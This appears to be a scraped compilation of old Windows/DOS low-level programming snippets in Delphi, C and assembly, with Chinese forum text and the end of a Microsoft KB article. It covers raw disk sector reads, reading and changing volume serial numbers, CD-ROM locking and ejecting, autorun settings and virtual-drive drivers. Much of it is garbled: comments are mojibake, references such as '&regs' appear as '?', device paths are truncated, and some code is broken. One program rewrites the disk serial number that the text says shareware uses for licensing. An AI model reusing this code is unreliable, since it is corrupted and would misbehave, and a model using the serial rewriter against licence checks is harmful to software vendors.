return fResult;

}

/*--------------------------------------------------------------------

SimulateRM_Int()

Allows protected mode software to execute real mode interrupts such

as calls to DOS TSRs, DOS device drivers, etc.

This function implements the "Simulate Real Mode Interrupt" function

of the DPMI specification v0.9.

Parameters

bIntNum

Number of the interrupt to simulate

lpCallStruct

Call structure that contains params (register values) for

bIntNum.

Return Value

SimulateRM_Int returns TRUE if it succeeded or FALSE if it

failed.

Comments

lpCallStruct is a protected-mode selector:offset address, not a

real-mode segment:offset address.

--------------------------------------------------------------------*/

BOOL FAR PASCAL SimulateRM_Int (BYTE bIntNum, LPRMCS lpCallStruct)

{

BOOL fRetVal = FALSE; // Assume failure

_asm {

push di

mov ax, 0300h ; DPMI Simulate Real Mode Int

mov bl, bIntNum ; Number of the interrupt to simulate

mov bh, 01h ; Bit 0 = 1; all other bits must be 0

xor cx, cx ; No words to copy

les di, lpCallStruct

int 31h ; Call DPMI

jc END1 ; CF set if error occurred

mov fRetVal, TRUE

END1:

pop di

}

return (fRetVal);

}

/*--------------------------------------------------------------------

BuildRMCS()

Initializes a real mode call structure to contain zeros in all its

members.

Parameters:

lpCallStruct

Points to a real mode call structure

Comments:

lpCallStruct is a protected-mode selector:offset address, not a

real-mode segment:offset address.

--------------------------------------------------------------------*/

void FAR PASCAL BuildRMCS (LPRMCS lpCallStruct)

{

_fmemset (lpCallStruct, 0, sizeof (RMCS));

}

REFERENCES

Information on using DPMI may be found in the DOS Protected Mode Interface

(DPMI) Specification Version 0.9.

Flat thunks are documented in "The Microsoft Programmer's Guide To Windows

95" topic in the Win32 Software Development Kit online documentation.

Additional query words: Windows sector table physical

Keywords : kbAPI kbKernBase kbGrpKernBase

Version :

Platform : WINDOWS

Issue type :

Last Reviewed: March 7, 1999

? 2000 Microsoft Corporation. All rights reserved. Terms of Use.

Article ID: Q137176

Last Reviewed:

March 7, 1999

Provided by Microsoft Product Support Services.

----------------------------------------------------------------------------

----

Did the information in this article help answer your question?

Yes

No

Did not apply

Please provide additional comments about this information. If you require a

response or technical support, please click Contact Us.

(255 character max)


绝对磁盘读取
读、写Win2K的分区表

给你个读的例子，写的没敢试验，因为我只有一个HD.[:D]

procedure TForm1.Button1Click(Sender: TObject);

var hFile:THandle ;

bytesread:DWORD;

buf: array[0..511] of char ;

Security: TSecurityAttributes;

begin

hFile:=CreateFile('\.',GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, nil ,OPEN_EXISTING,FILE_FLAG_SEQUENTIAL_SCAN,0);

if hFile=INVALID_HANDLE_VALUE then

begin

ShowMessage('No file exists yet.' );

Exit;

end;

if not ReadFile(hFile, buf, sizeof(buf), bytesread, nil) then showmessage('Error');

end;

*****************

我曾经用C++ BUILDER 编写如下的程序来读区物理磁盘的绝对扇区,对软盘可用,但对硬盘不管用

不知问题出在哪里,请各位指教:

void __fastcall TForm1::Button1Click(TObject *Sender)

{

DWORD w;

int v;

hDevice=CreateFile("\\.\VWIN32",GENERIC_WRITE|GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,

NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);

if(hDevice!=NULL)

{ w=1;

w=w<<8;

v=0x80;

reg.reg_EAX=0x440D;

reg.reg_EBX=v|w;

reg.reg_ECX=0x084B;

reg.reg_EDX=1;

reg.reg_Flags=0x0001;

fresult=DeviceIoControl(hDevice,VWIN32_DIOC_DOS_IOCTL,?,sizeof(reg),?,sizeof(reg),&cb1,0);

if(!fresult||(reg.reg_Flags & 0x0001))

ShowMessage("Fail1");

reg.reg_EAX=0x0201; //读硬盘的0面0柱面1扇区,数量为一扇区.

reg.reg_EBX=(DWORD)&boot; //定义为 BYTE boot[512];

reg.reg_ECX=0x0001;//

reg.reg_EDX=v;

reg.reg_Flags=0x0001;

fresult=DeviceIoControl(hDevice,VWIN32_DIOC_DOS_INT13,?,sizeof(reg),?,sizeof(reg),&cb1,0);

if(!fresult||(reg.reg_Flags & 0x0001))

ShowMessage("Fail2");

Edit2->Text=AnsiString(boot[StrToInt(Edit1->Text)]);

reg.reg_EAX=0x440d;

reg.reg_EBX=v;

reg.reg_ECX=0x086b;

reg.reg_Flags=0x0001;

DeviceIoControl(hDevice,VWIN32_DIOC_DOS_IOCTL,?,sizeof(reg),?,sizeof(reg),&cb1,0);

if(!fresult||(reg.reg_Flags & 0x0001))

ShowMessage("Fail3");

}

}


磁盘序列号的读取和修改
磁盘卷序列号的显示和修改

西南师范大学物理系

陈昌友

---- DOS4.0以上的版本，在磁盘格式化时给磁盘设置了一个卷系列号，即磁盘ID，用作磁盘的标识信息，可以使用dir命令显示卷系列号，如：

Valume in drive C is KSW100

Valume Serial Number is 4160-9FE5

...

---- 其中开始的第二行为卷系列号显示，DOS是利用卷系列号与驱动器上的磁盘保持联系的。

---- 由于format命令格式化磁盘时生成的卷系列号是一固定格式的随机数，两次格式化磁盘生成的卷系列号相同的几率几乎为零，因此一些商业软件或共享软件经常利用卷系列号进行软件加密。比如，某些共享软件要求你用C盘的序列号到他们的互连网主页上去申请软件的授权号或许可证，有了授权号你才能安装该软件或是获得许可证后你才能使用该软件的所有功能（通常也是最重要的功能），如果你要将该软件安装于多台微机上，就得为每一台微机申请一个授权许可证，或是你重新格式化硬盘后，也得再去申请授权许可证。

---- 那么，磁盘序列号可不可以进行修改呢？

---- DOS的INT21H中断的69H功能号为我们提供了这样的一个功能，其入、出口参数如下：入口 AH=69H

BL=驱动器号（0=当前，1=A,2=B,3=C,...）

DS:DX=缓冲区地址（用于存放磁盘的ID信息等）

AL=00H取介质ID

AL=01H置介质ID

出口 CF=0操作成功

CF=1操作失败

AX=错误码

---- 取、置介质时介质ID都放在缓冲区中，缓冲区大小为25字节，用字符数组buffer[25]给出，其中卷系列号在第3～6字节(即buffer[2]～buffer[5]，注意高字节在后)，第7～17字节(buffer[6]～buffer[16])是卷标。在置介质ID时除卷标和卷序列号外buffer的其它字节最好不要改动，应特别注意对FAT32的 WINDOWS最后8字节不要改动，否则WINDOWS将不能启动。

---- 因此，程序处理过程是首先将磁盘ID读出到缓冲区buffer中，再对第3～6字节进行修改后回写，即可改变磁盘卷序列号又不会改变其它字节内容。

---- 由于DOS不能存取FAT32，要对FAT32的WINDOWS磁盘操作，可以在WINDOWS的MSDOS模式下运行该程序，或者将程序中DOS功能调用改为使用ROMBIOS的INT13H中断调用（可读写磁盘任意扇区），但相对DOS功能号调用要复杂得多（首先必须借助于分区表信息定位要修改的ID所在的物理扇区，其次还要注意FAT16和FAT32的卷序列号在扇区的偏移量也是不同的）。

---- 下面就DOS软中断功能号调用给出Turbo C源程序：

#include< stdio.h >#include< conio.h >#include

< dos.h >#include< stdlib.h >void main(){int i=1,j;

union REGS regs;

struct SREGS sregs;

unsigned char ch, buffer [25];

clrscr();

while(i){ printf("select disk...");

printf("--Current disk 1--disk A

2--disk B 3--disk C...");

ch=getch();

if((ch<48)||(ch >57)) i=1;

else i=0;

j=ch-48;

}

regs.h.ah=0x69; regs.h.al=0x00; regs.h.bl=j;

regs.x.dx=FP_OFF(buffer); sregs.ds=FP_SEG(buffer);

intdosx(?s,?s,&sregs);

if(regs.x.cflag==0)

{printf("disk serial number is ");

printf("%02X%02X-%02X%02X.",buffer

[5],buffer[4],buffer[3],buffer[2]);

}

else {printf("get serial number is failure.");

getch();

exit(1);}

printf("or not set

this disk's serial number?(Y/N)");

ch=getch();

if((ch==89)||(ch==121))

{printf("enter eight HEX

numerals(such as 1f23e35b):");

scanf("%2x%2x%2x%2x",&buffer[2],

&buffer[3],&buffer[4],&buffer[5]);

ch=buffer[5];buffer[5]=buffer[2];buffer[2]=ch;

ch=buffer[3];buffer[3]=buffer[4];buffer[4]=ch;

regs.h.ah=0x69; regs.h.al=0x01; regs.h.bl=j;

regs.x.dx=FP_OFF(buffer); sregs.ds=FP_SEG(buffer);

intdosx(?s,?s,&sregs);

if(regs.x.cflag==0) printf

("operation is successful!");

}

return 0;

}


驱动器序列号
function GetHDSerialNumber(Drv : String): String;

var

VolumeSerialNumber : DWORD;

MaximumComponentLength : DWORD;

FileSystemFlags : DWORD;

begin

if Drv[Length(Drv)] =':' then Drv := Drv + '\';

GetVolumeInformation(pChar(Drv),

nil,

0,

@VolumeSerialNumber,

MaximumComponentLength,

FileSystemFlags,

nil,

0);

Result := IntToHex(HiWord(VolumeSerialNumber), 4) +

'-' +

IntToHex(LoWord(VolumeSerialNumber), 4);

end;

**********************************

function GetHardDiskSerial(const DriveLetter: Char): string;

var

NotUsed: DWORD;

VolumeFlags: DWORD;

VolumeInfo: array[0..MAX_PATH] of Char;

VolumeSerialNumber: DWORD;

begin

GetVolumeInformation(PChar(DriveLetter + ':\'),

nil, SizeOf(VolumeInfo), @VolumeSerialNumber, NotUsed,

VolumeFlags, nil, 0);

Result := Format('Label = %s VolSer = %8.8X',

[VolumeInfo, VolumeSerialNumber])

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

ShowMessage(GetHardDiskSerial('c'));

end;


锁定光驱
//&Ouml;&raquo;&sup1;¤×÷&Ocirc;&Uacute;win9x&Iuml;&Acirc;&pound;&not;&para;&Ocirc;nt&Icirc;&THORN;&ETH;§

type

TRegDWord = packed record

case Integer of

0 : (Lo,Hi : Word);

1 : (X : DWord);

end;

TDevIoCtl_Reg = packed record

Reg_BX : DWord;

Reg_DX : DWord;

Reg_CX : DWord;

Reg_AX : DWord;

Reg_DI : DWord;

Reg_SI : DWord;

Reg_Flags : DWord;

end;

TParamBlock = packed record

PB_Operation : Byte;

PB_NumLocks : Byte;

end;

const

VWin32_DIOC_DOS_IoCtl = 1; // interrupt 21h

function DriveCharToNum(Drivechar : Char) : Word;

begin

DriveChar:=Upcase(DriveChar);

Result:= Ord(DriveChar)-Ord('A')+1;

end;

function AccessDevice(Var Reg : TDevIoCtl_Reg) : Integer;

var

DevIoHandle : THandle;

BytesReturned : DWord;

Res : Boolean;

begin

Result:=-1;

Reg.Reg_Flags:=$0001;

DevIoHandle :=

CreateFile('\\.\vwin32',0,0,nil,0,File_Flag_Delete_On_Close,0);

if DevIoHandle <> Invalid_Handle_Value then begin

Res :=

DeviceIoControl(DevIoHandle,VWin32_DIOC_DOS_IoCtl,@Reg,SizeOf(Reg),@Reg,SizeOf(Reg),BytesReturned,nil); if (Res and ((Reg.Reg_Flags and $0001) = 0)) Then Result:=0

else Result:=Reg.Reg_AX;

CloseHandle(DevIoHandle);

end;

end;

function DriveEject(DriveChar : Char) : Integer;

Var

Reg : TDevIoCtl_Reg;

begin

with Reg do begin

Reg_AX := $440d;

Reg_CX := $0849;

Reg_BX := DriveCharToNum(Drivechar);

Reg_Flags := $0001;

end;

Result:=AccessDevice(Reg);

end;

function DriveLock(DriveChar : Char) : Integer;

Var

Reg : TDevIoCtl_Reg;

Param : TParamBlock;

begin

With Param DO begin

PB_Operation:=0;

PB_NumLocks :=0;

end;

with Reg do begin

Reg_AX := $440d;

Reg_BX := DriveCharToNum(Drivechar);

Reg_CX := $0848;

Reg_DX := Integer(@Param);

end;

Result:=AccessDevice(Reg);

end;

/////////////////////////////////////////

//&para;&Ocirc;&Ograve;&sup2;nt&Oacute;&ETH;&ETH;§

HANDLE h=CreateFile("\\\\.\\E:",GENERIC_READ,0,NULL,OPEN_EXISTING,0,NULL);

if(h==INVALID_HANDLE_VALUE)

RaiseLastWin32Error();

DWORD n;

PREVENT_MEDIA_REMOVAL s={true};

//&Ograve;&ordf;&Ecirc;&Ccedil;&iquest;&ordf;&Euml;&oslash;

//PREVENT_MEDIA_REMOVAL s={false};

if(!DeviceIoControl(h,IOCTL_STORAGE_MEDIA_REMOVAL,&s,sizeof s,NULL,0,&n,NULL))

RaiseLastWin32Error();

CloseHandle(h);

///////////////////////////////////////

unit eLanCDRom;

{ ==================================================== }

{ Component TeLanCDRomMonitor }

{ ==================================================== }

{ ×÷ &Otilde;&szlig; &pound;&ordm;eLan }

{ E-mail : eLan@126.com }

{ &acute;&acute;&frac12;¨&Ecirc;±&frac14;&auml; &pound;&ordm;1998-09-04 }

{ ×&icirc;&ordm;ó&ETH;&THORN;&cedil;&Auml;&Ecirc;±&frac14;&auml;&pound;&ordm;1998-11-18 }

{ ==================================================== }

{ You are free to use, modify and distribute this code }

{ as you like. But I ask you to send me a copy of new }

{ versions. And please give me credit when you use }

{ parts of my code in other components or applications.}

{ ==================================================== }

{ Properties, Methods and Events &pound;&ordm; }

{ ---------------------------------------------------- }

{ DrvName

MonitorState

Close

Eject

StartMonitor

EndMonitor

Lock

StartOnMonitor

OnDiscArrive

OnDiscRemove

}

{ ==================================================== }

{ &ETH;&THORN;&cedil;&Auml;&frac14;&Ccedil;&Acirc;&frac14;&pound;&ordm; }

{

1998-09-05 &Iacute;í &micro;&Uacute;&Ograve;&raquo;&acute;&Icirc;&micro;÷&Ecirc;&Ocirc;&sup3;&Eacute;&sup1;&brvbar;

1998-10-31 &ETH;&THORN;&cedil;&Auml;

1998-11-09 &Igrave;í&frac14;&Oacute; TCDNotifyEvent &Agrave;à&ETH;&Iacute;&pound;&not;&Ograve;&Ocirc;±&atilde;&cedil;&oslash;&Iuml;ì&Oacute;&brvbar;&Ecirc;&Acirc;&frac14;&thorn;&acute;&laquo;

&micro;&Yacute;&Aring;&Igrave;·&ucirc;&sup2;&Icirc;&Ecirc;&yacute;

}

{ ---------------------------------------------------- }

interface

uses

MMSystem, Classes, Messages, Controls, SysUtils, Windows,

WinProcs, Forms;

const

DBT_DeviceArrival =32768;

DBT_DeviceRemoveComplete=32772;

DBT_DEVTYP_OEM =1; //OEM- or IHV-defined device type

DBT_DEVTYP_VOLUME =2; //Logical volume.

DBT_DEVTYP_PORT =3; //Port device (serial or parallel)

DBTF_MEDIA =1;

type

DEVIOCTL_REGISTERS = packed record

reg_EBX : DWORD;

reg_EDX : DWORD;

reg_ECX : DWORD;

reg_EAX : DWORD;

reg_EDI : DWORD;

reg_ESI : DWORD;

reg_Flags : DWORD;

end;

PDEVIOCTL_REGISTERS = ^DEVIOCTL_REGISTERS;

{ MID = packed record //Interrupt 21h Function 440Dh Minor Code 66h

midInfoLevel : WORD ;

midSerialNum : DWORD ;

midVolLabel : array[0..10] of byte;

midFileSysType: array[0..8] of byte;

end;

PMID = ^ MID;}

PARAMBLOCK = packed record

Operation : WORD; //Interrupt 21h Function 440Dh Minor Code 48h

NumLocks : WORD;

end;

const

WIN95_IOCTL_DEV = '\\.\vwin32';

VWIN32_DIOC_DOS_IOCTL = 1;

Type

TCDRomAct = (eEject, eClose);

TMonitorState = (eMonitorOn, eMonitorOff);

TDEV_BROADCAST_VOLUME = record

dbcv_Size :Byte ;

dbcv_DeviceType:Integer ;

dbcv_Reserved :Integer ;

dbcv_UnitMask :Integer ;

dbcv_Flags :Smallint ;

end;

PDEV_BROADCAST_VOLUME =^TDEV_BROADCAST_VOLUME;

TCDNotifyEvent = procedure(Sender: TObject;Drv:String) of object;

TeLanCDRomMonitor = Class(TComponent)

private

MyOwner : TForm;

MyOwnerHandle : THandle;

fDrvName : String;

fOnDiscArrive : TCDNotifyEvent;

fOnDiscRemove : TCDNotifyEvent;

fMonitorState : TMonitorState;

fStartOnMonitor: Boolean;

fLocked : Boolean;

//fP : PDEV_BROADCAST_VOLUME;

function GetDrvName(fDrvMask:Integer):String;

procedure CDRomAction(Action:TCDRomAct);

procedure SetStartOnMonitor(const Value: Boolean);

procedure DoLockCDRom(const fLock:Boolean; const Drv:String);

protected

OldWndProc : TFarProc;

NewWndProc : Pointer;

procedure HookWin;

procedure UnhookWin;

procedure HookWndProc(var AMsg: TMessage);

public

procedure Eject;

procedure Close;

procedure Lock; overload;

procedure Lock(const DrvName:Char);overload;

procedure Unlock;overload;

procedure Unlock(const DrvName:Char);overload;

procedure StartMonitor;

procedure EndMonitor;

property MonitorState :TMonitorState read fMonitorState;

property DrvName : String read FDrvName;

constructor Create(AOwner:tComponent);Override;

destructor Destroy;Override;

procedure Loaded;override;

published

property OnDiscArrive:TCDNotifyEvent read fOnDiscArrive Write fOnDiscArrive;

property OnDiscRemove:TCDNotifyEvent read fOnDiscRemove write fOnDiscRemove;

property StartOnMonitor:Boolean read FStartOnMonitor write SetStartOnMonitor default True;

property Locked:boolean read fLocked;

end;

procedure Register;

implementation

procedure Register;

begin

RegisterComponents('eLan Soft',[TeLanCDRomMonitor]);

end;

{ TeLanCDRom }

procedure TeLanCDRomMonitor.CDRomAction(Action: TCDRomAct);

var

MCIDevice:TMCI_Open_Parms;

begin

MCIDevice.lpstrDeviceType :='CDAudio';

mciSendCommand(0,MCI_OPEN,MCI_OPEN_TYPE ,Integer(@MCIDevice ));

case Action of

eEject: mciSendCommand(MCIDevice.wDeviceID,MCI_SET, MCI_SET_DOOR_OPEN ,0);

eClose: mciSendCommand(MCIDevice.wDeviceID,MCI_SET, MCI_SET_DOOR_CLOSED ,0);

end;

mciSendCommand(MCIDevice.wDeviceID,MCI_CLOSE,0,0);

end;

procedure TeLanCDRomMonitor.Close;

begin

CDRomAction(eClose);

end;

procedure TeLanCDRomMonitor.Eject;

begin

CDRomAction(eEject);

end;

constructor TeLanCDRomMonitor.Create(AOwner: tComponent);

var I:Integer;

begin

for I:=0 to AOwner.ComponentCount -1 do

if AOwner.Components[I] is Self.ClassType then

raise Exception.Create(

Self.ClassName + ' component Duplicated');

inherited Create(aOwner);

with AOwner as TForm do

begin

MyOwner := TForm(AOwner); { My pointer to my owner form }

MyOwnerHandle := MyOwner.Handle;

//New(fP);

FStartOnMonitor :=true;

end;

fLocked:=False;

end;

destructor TeLanCDRomMonitor.Destroy;

begin

if fLocked then Unlock;

if fMonitorState = eMonitorOn then UnhookWin;

//if Assigned(fP) then Dispose(fP);

inherited Destroy; {Call default processing.}

end;

procedure TeLanCDRomMonitor.Loaded;

begin

if (fStartOnMonitor) and not (csDesigning in MyOwner.ComponentState) then

begin

HookWin;

fMonitorState :=eMonitorOn;

end

else

fMonitorState :=eMonitorOff;

end;

procedure TeLanCDRomMonitor.EndMonitor;

begin

if fMonitorState = eMonitorOn then

begin

UnhookWin;

fMonitorState := eMonitorOff;

end;

end;

procedure TeLanCDRomMonitor.StartMonitor;

begin

if fMonitorState = eMonitorOff then

begin

HookWin;

fMonitorState :=eMonitorOn;

end;

end;

function TeLanCDRomMonitor.GetDrvName(fDrvMask: Integer): String;

{ ----------------------------------------------------- }

{ 98-8-29 &sup3;&Acirc;&raquo;&ordf;&Eacute;&ordm;±à&ETH;&acute; }

{ &Oacute;&Atilde;&Oacute;&Uacute;&frac12;&laquo; TDEV_BROADCAST_VOLUME &frac12;á&sup1;&sup1;&micro;&Auml; dbcv_unitmask &sup3;&Eacute;&Ocirc;±}

{ &Ntilde;&Uacute;&Acirc;&euml;×&ordf;&raquo;&raquo;&sup3;&Eacute; 000001 &cedil;&ntilde;&Ecirc;&frac12;&micro;&Auml;×&Ouml;·&ucirc;&acute;&reg;&pound;&not;°&acute;&Euml;&sup3;&ETH;ò·&Ouml;±&eth;&acute;ú±í A&iexcl;&cent;B&iexcl;&cent; }

{ D&iexcl;&cent;&iexcl;&shy; &Ccedil;&yacute;&para;&macr;&AElig;÷&pound;&not;&AElig;&auml;&Ouml;&ETH; 1 ±í&Ecirc;&frac34;&cedil;&Atilde;&para;&Ocirc;&Oacute;&brvbar;&micro;&Auml;&Ccedil;&yacute;&para;&macr;&AElig;÷·&cent;&Eacute;ú±&auml;&raquo;&macr;&iexcl;&pound; }

{ &Ocirc;&Uacute;&micro;&macr;&sup3;&ouml;&raquo;ò&sup1;&Oslash;±&Otilde;&sup1;&acirc;&Ccedil;&yacute;&Ecirc;±·&micro;&raquo;&Oslash;&sup1;&acirc;&Ccedil;&yacute;&Euml;ù&Ocirc;&Uacute;&micro;&Auml;&Aring;&Igrave;·&ucirc; }

{ ----------------------------------------------------- }

var

TemStr:string;

iPos :integer;

begin

//MessageBox(0,pchar(IntToStr(fdrvmask)),'',mb_OK);

while fDrvMask>1 do

begin

TemStr := TemStr+IntToStr(fDrvMask mod 2);

fDrvMask := fDrvMask div 2;

end;

TemStr := TemStr+IntToStr(fDrvMask);

{ &Otilde;&Ograve;&micro;&frac12;&micro;&Uacute;&Ograve;&raquo;&cedil;&ouml; 1 &sup3;&ouml;&Iuml;&Ouml;&micro;&Auml;&Icirc;&raquo;&Ouml;&Atilde; }

iPos := Integer(StrPos(PChar(TemStr),'1')) - Integer(Pchar(TemStr));

iPos := iPos+65; {A &micro;&Auml;ASCII&Ouml;&micro;&Icirc;&ordf;65}

Result := Char(iPos)+':\';

end;

procedure TeLanCDRomMonitor.SetStartOnMonitor(const Value: Boolean);

begin

//if (csDesigning in MyOwner.ComponentState) then

FStartOnMonitor := Value;

end;

procedure TeLanCDRomMonitor.HookWin;

begin

OldWndProc := TFarProc(GetWindowLong(MyOwnerHandle, GWL_WNDPROC));

NewWndProc := MakeObjectInstance(HookWndProc);

SetWindowLong(MyOwnerHandle, GWL_WNDPROC, LongInt(NewWndProc));

end; { HookWin }

procedure TeLanCDRomMonitor.HookWndProc(var AMsg: TMessage);

var fP : PDEV_BROADCAST_VOLUME;

begin

New(fP);

try

if AMsg.Msg = WM_DeviceChange then

begin

if (AMsg.LParam <> 0) then

begin

fP:=PDEV_BROADCAST_VOLUME(AMsg.LParam);

case AMsg.WParam of

DBT_DeviceArrival :

begin

if (fP.dbcv_DeviceType = dbt_DEVTYP_VOLUME) and

(Assigned(fOnDiscArrive)) then

begin

fDrvName :=GetDrvName(fP.dbcv_UnitMask);

fOnDiscArrive(self,fDrvName);

end;

end;

DBT_DeviceRemoveComplete:

begin

if (fP.dbcv_DeviceType = dbt_DEVTYP_VOLUME) and

(Assigned(fOnDiscRemove)) then

begin

fDrvName :=GetDrvName(fP.dbcv_UnitMask);

fOnDiscRemove(self,fDrvName);

end;

end;

end;

end;

end;

finally

fP:=nil;

Dispose(fP);

end;

AMsg.Result := CallWindowProc(OldWndProc,MyOwnerHandle, AMsg.Msg, AMsg.wParam, AMsg.lParam);

end;

procedure TeLanCDRomMonitor.UnhookWin;

begin

if Assigned(NewWndProc) then

begin

SetWindowLong(MyOwnerHandle, GWL_WNDPROC, LongInt(OldWndProc));

FreeObjectInstance(NewWndProc);

NewWndProc := nil;

end;

end; { UnHookWin }

procedure TeLanCDRomMonitor.Lock;

var DrvName : Char;

begin

if fLocked then Exit;

DrvName:='a';

repeat

if GetDriveType(pchar(drvname+':\')) = DRIVE_CDROM then

DoLockCDRom(True,DrvName);

Inc(DrvName);

until DrvName = 'z';

end;

procedure TeLanCDRomMonitor.Lock(const DrvName: Char);

begin

if fLocked then Exit;

DoLockCDRom(True,DrvName);

end;

procedure TeLanCDRomMonitor.Unlock;

var DrvName : Char;

begin

if not fLocked then Exit;

DrvName:='a';

repeat

if GetDriveType(pchar(drvname+':\')) = DRIVE_CDROM then

DoLockCDRom(FAlse,DrvName);

Inc(DrvName);

until DrvName = 'z';

end;

procedure TeLanCDRomMonitor.Unlock(const DrvName: Char);

begin

if not fLocked then Exit;

DoLockCDRom(FAlse,DrvName);

end;

procedure TeLanCDRomMonitor.DoLockCDRom(const fLock: Boolean;

const Drv: String);

function DoIOCTL(Reg : DEVIOCTL_REGISTERS):BOOL;

var

hDevice : THandle;

fResult : BOOL;

cb : DWORD ;

begin

Result:=False;

hDevice :=0;

Reg.reg_Flags := $8000; // assume error (carry flag set)

try

hDevice := CreateFile('\\.\vwin32',

GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE,

nil, OPEN_EXISTING,

FILE_ATTRIBUTE_NORMAL, 0);

if hDevice = 0 then

Exit

else

begin

fResult := DeviceIoControl(hDevice,

VWIN32_DIOC_DOS_IOCTL,

@reg, sizeof(reg),

@reg, sizeof(reg), cb, nil);

if not fResult then Exit;

Result:= TRUE;

end;

finally

CloseHandle(hDevice);

end;

end;

var

reg : DEVIOCTL_REGISTERS;

ParamB : PARAMBLOCK;

begin

if fLock then ParamB.Operation :=0

else ParamB.Operation :=1;

reg.reg_EAX := $440D; // IOCTL for block devices

reg.reg_EBX := Integer(LowerCase(Drv)) - Integer('a') + 1; // zero-based drive ID

reg.reg_ECX := $0848; // Get LockStatus

reg.reg_EDX := DWORD(@ParamB); // receives media ID info

DoIOCTL(reg);

fLocked :=not fLocked;

end;

end.


检测磁盘是否变化
最简单的检查CD－ROM或是磁盘是否有过变化的方法 是检查其

volume号码。你可以简单地运用下面的函数来返 回磁盘的volume系列

号码GetDiskVolSerialID('E'), 函数代码如下：

function GetDiskVolSerialID(cDriveName:char):DWord;

var

dwTemp1，dwTemp2：DWord;

begin

GetVolumeInformation(PChar(cDriveName+':l'), Nil,0,Result,

dwTemp2,dwTemp2,Nil,0);

end;


打开关闭光驱
//打开光驱

mciSendString('Set cdaudio door open wait', nil, 0, handle);

//关闭光驱

mciSendString('Set cdaudio door closed wait', nil, 0, handle)


光盘的自动运行
设置光盘的自动运行特征：

procedure TForm1.SetCDAutoRun(AAutoRun:Boolean);

const

DoAutoRun : array[Boolean] of Integer = (0,1);

var

Reg : TRegistry;

begin

try

{ create our registry object }

Reg := TRegistry.Create;

{ set our registry root key }

Reg.RootKey := HKEY_LOCAL_MACHINE;

{ verify that our CDROM class key exists }

if Reg.KeyExists('System') then

{ try to open our CDROM class key }

if Reg.OpenKey('System',FALSE) then

{ add AutoRun to our CDROM class key }

Reg.WriteBinaryData('AutoRun',DoAutoRun[AAutoRun],1);

finally

{ free our registry object }

Reg.Free;

end;

{ showmessage that the changes will happen on reboot }

ShowMessage('Your settings will take effect on the next reboot of Windows.');

end;


检测光驱硬盘的序列
能正常支持光驱(光盘)的检测。

注：如果返回值为'0000-0000'，则未检测到。

function GetHDSerialNumber(Drv : String): String;

var

VolumeSerialNumber : DWORD;

MaximumComponentLength : DWORD;

FileSystemFlags : DWORD;

begin

if Drv[Length(Drv)] =':' then Drv := Drv + ';

GetVolumeInformation(pChar(Drv),

nil,

0,

@VolumeSerialNumber,

MaximumComponentLength,

FileSystemFlags,

nil,

0);

Result := IntToHex(HiWord(VolumeSerialNumber), 4) +

'-' +

IntToHex(LoWord(VolumeSerialNumber), 4);

end;


监视光驱中是否有光盘
拦截消息WM_DEVICECHANGE即可！

//响应该消息

procedure Tform1.WMDEVICECHANGE(var msgx :Tmessage);

const

DBT_DEVICEARRIVAL=$8000;

DBT_DEVICEREMOVECOMPLETE=$8004;

begin

inherited;

case msgx.WParam of

DBT_DEVICEARRIVAL:Caption :='有了！';

DBT_DEVICEREMOVECOMPLETE:Caption :='取走了';

end;

end;


虚拟光驱原理
：Chenlili, 时间：2001-6-5 10:56:36, ID：554336

只知道这么多了。

目前大多数的外部存储设备（例如USB活动硬盘等）基本上都采用FAT文件系统，用户可以像

使用主机硬盘一样利用资源管理器对外部存储设备上的文件执行各种操作。在Windows环境

下，外部存储设备的驱动程序除要完成普通的I/O读写操作之外，还需要构造文件系统接口，

以实现Windows环境下磁盘的逻辑操作到物理操作的转换。下面以一个虚拟设备为例，介绍

在Windows环境下构造文件系统驱动程序的基本原理和方法。

Windows的文件系统

Windows系列操作系统采用IOS（Input/Output Supervisor，输入输出管理程序）技术。IOS

管理所有的存储设备，如IDE硬盘、可移动式软盘、CDROM等。IOS的接口以及其在操作系统

中的逻辑层次（暂不考虑SCSI结构）如下图所示。

我们从图中可以看到Windows采用的是一种分层的、可安装的文件系统，每一层都完成一特定

的功能，层与层之间是相对独立的实体。我们要创建自己的文件系统驱动，一般不需要对每

一层都提供服务，比如我们采用硬盘上的FAT文件系统时，可以先利用VFAT.VXD作FSD（File

System Driver，文件系统驱动器），再用DISKTSD.VXD模拟硬盘物理行为。而我们真正需要

做的只是编写自己的端口驱动程序，以响应基于物理或逻辑分区的读写操作。

构造文件系统驱动程序

在IOS初始化阶段，它将在SYSTEM目录下搜索后缀为PDR（Port Driver）、MPD

（SCSI Miniport Driver）、VXD（FSD、TSD等）的设备驱动程序，并向它们发送

SYS_DYNAMIC_DEVICE_INIT消息。为了响应IOS，端口驱动程序在响应SYS_DYNAMIC_DEVICE_INIT

消息时填写DRP（Device Request Packet）结构并调用IOS_Register向IOS注册。DRP结构的

AEP域中包含的是回调地址，在端口驱动程序装载后，IOS就通过发送AEP对DRP结构进行初始

化。典型的AEP响应代码如下：

VOID __cdecl SAMPLE_Aer(AEP＊ pAep)

{

switch (pAep－>AEP_func)

{

//IOS最先发送此消息

case AEP_INITIALIZE:

……//创建并填写DDB（Device Driver Block）

//返回AEP_SUCCESS表示创建成功

pAep－>AEP_result = AEP_SUCCESS;

break;

//DDB成功创建后，IOS发送此消息

case AEP_DEVICE_INQUIRY:

pDcb = ((AEP_inquiry_device＊)pAep)－>AEP_i_d_dcb;

if (((DCB＊)pDcb)－>DCB_unit_on_ctl=0)

{

……//第一次发送此消息时创建用于虚拟设备的DCB（Device Control Block），DCB将被

用于描述虚拟设备的存储容量、最大传输能力等参数

pAep－>AEP_result = AEP_SUCCESS; }

else

//由于只创建一个虚拟设备，所以返回AEP_NO_MORE_DEVICES终止发送此消息

pAep－>AEP_result =

AEP_NO_MORE_DEVICES;

break;

case AEP_CONFIG_DCB:

//IOS在终止AEP_DEVICE_INQUIRY消息发送后，发送此消息为我们创建的虚拟存储设备分配

驱动器号（C: D: E:等）

//返回AEP_SUCCESS表示成功

pAep－>AEP_result = AEP_SUCCESS;

break;

//初始化结束时IOS 发送此消息

case AEP_BOOT_COMPLETE:

//返回AEP_SUCCESS，通知IOS将端口驱动程序驻留在内存中

pAep－>AEP_result = AEP_SUCCESS;

break;

default:

break;

}

}

在初始化结束后，IOS便通过端口驱动程序在AEP_CONFIG_DCB消息响应中登记的IO请求响应

函数，发送IOP（IO Request Packet）完成物理的读写。典型的IO请求响应函数代码如下：

